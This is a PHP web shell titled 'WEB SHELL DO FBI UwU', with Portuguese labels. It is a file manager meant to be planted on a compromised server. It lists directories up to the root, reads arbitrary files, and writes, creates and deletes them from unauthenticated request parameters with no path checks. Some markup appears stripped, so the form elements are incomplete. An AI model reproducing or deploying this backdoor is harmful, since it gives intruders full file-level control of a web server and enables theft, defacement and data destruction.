function listFiles($path) {
return array_diff(scandir($path), array('.', '..'));
}

// Salvar edição de arquivos
if(isset($_POST['edit'])) {
$file = $_POST['file'];
$content = $_POST['content'];

if(is_writable($file)) {
file_put_contents($file, $content);
echo "<script>alert('Arquivo salvo com sucesso!');</script>";
} else {
echo "<script>alert('Erro: Permissão negada para editar este arquivo.');</script>";
}
}

// Excluir arquivos
if(isset($_POST['delete'])) {
unlink($_POST['delete']);
}

// Criar novo arquivo
if(isset($_POST['create'])) {
$newFile = $_POST['newfile'];
file_put_contents($newFile, "");
}

$path = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
$files = listFiles($path);


<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
WEB SHELL DO FBI UwU <title>WEB SHELL DO FBI UwU</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=VT323&display=swap');
body {
font-family: 'VT323', monospace;
background-color: #111;
color: #0f0;
text-align: center;
}
.container {
width: 80%;
margin: auto;
padding: 20px;
background: #222;
border-radius: 8px;
box-shadow: 0 0 10px #0f0;
}
h1 {
color: red;
text-shadow: 0 0 5px red;
}
.file-list a {
display: block;
padding: 8px;
background: #333;
margin: 5px 0;
color: #0f0;
text-decoration: none;
border-radius: 3px;
}
.file-list a:hover {
background: #444;
}
.editor, .create-file {
background: #000;
color: #0f0;
padding: 10px;
border: 1px solid #0f0;
width: 100%;
}
.btn {
background: #0f0;
color: black;
padding: 10px;
border: none;
cursor: pointer;
}
.btn-danger {
background: red;
color: white;
}
textarea {
width: 100%;
height: 300px;
background: #222;
color: #0f0;
border: 1px solid #0f0;
padding: 5px;
font-size: 14px;
}
</style>



<div class="container">

🌎 WEB SHELL DO FBI UwU 🚀


<p><strong>📂 Diretório Atual:</strong> = $path </p>

<div>
<a href="?dir=/" class="btn">📁 Raiz</a>
<a href="?dir== dirname($path) " class="btn">🔙 Voltar</a>
</div>

<div class="file-list">
foreach($files as $file):
$fullPath = $path . DIRECTORY_SEPARATOR . $file;
if(is_dir($fullPath)):
<a href="?dir== urlencode($fullPath) ">📁 = $file /</a>
else:
<a href="?view== urlencode($fullPath) ">📄 = $file </a>




endif;
endforeach;
</div>






if(isset($_GET['view'])):
<div class="editor">

📝 Editando: = basename($_GET['view'])



<textarea name="content">= htmlspecialchars(file_get_contents($_GET['view'])) </textarea>





</div>
endif;

</div>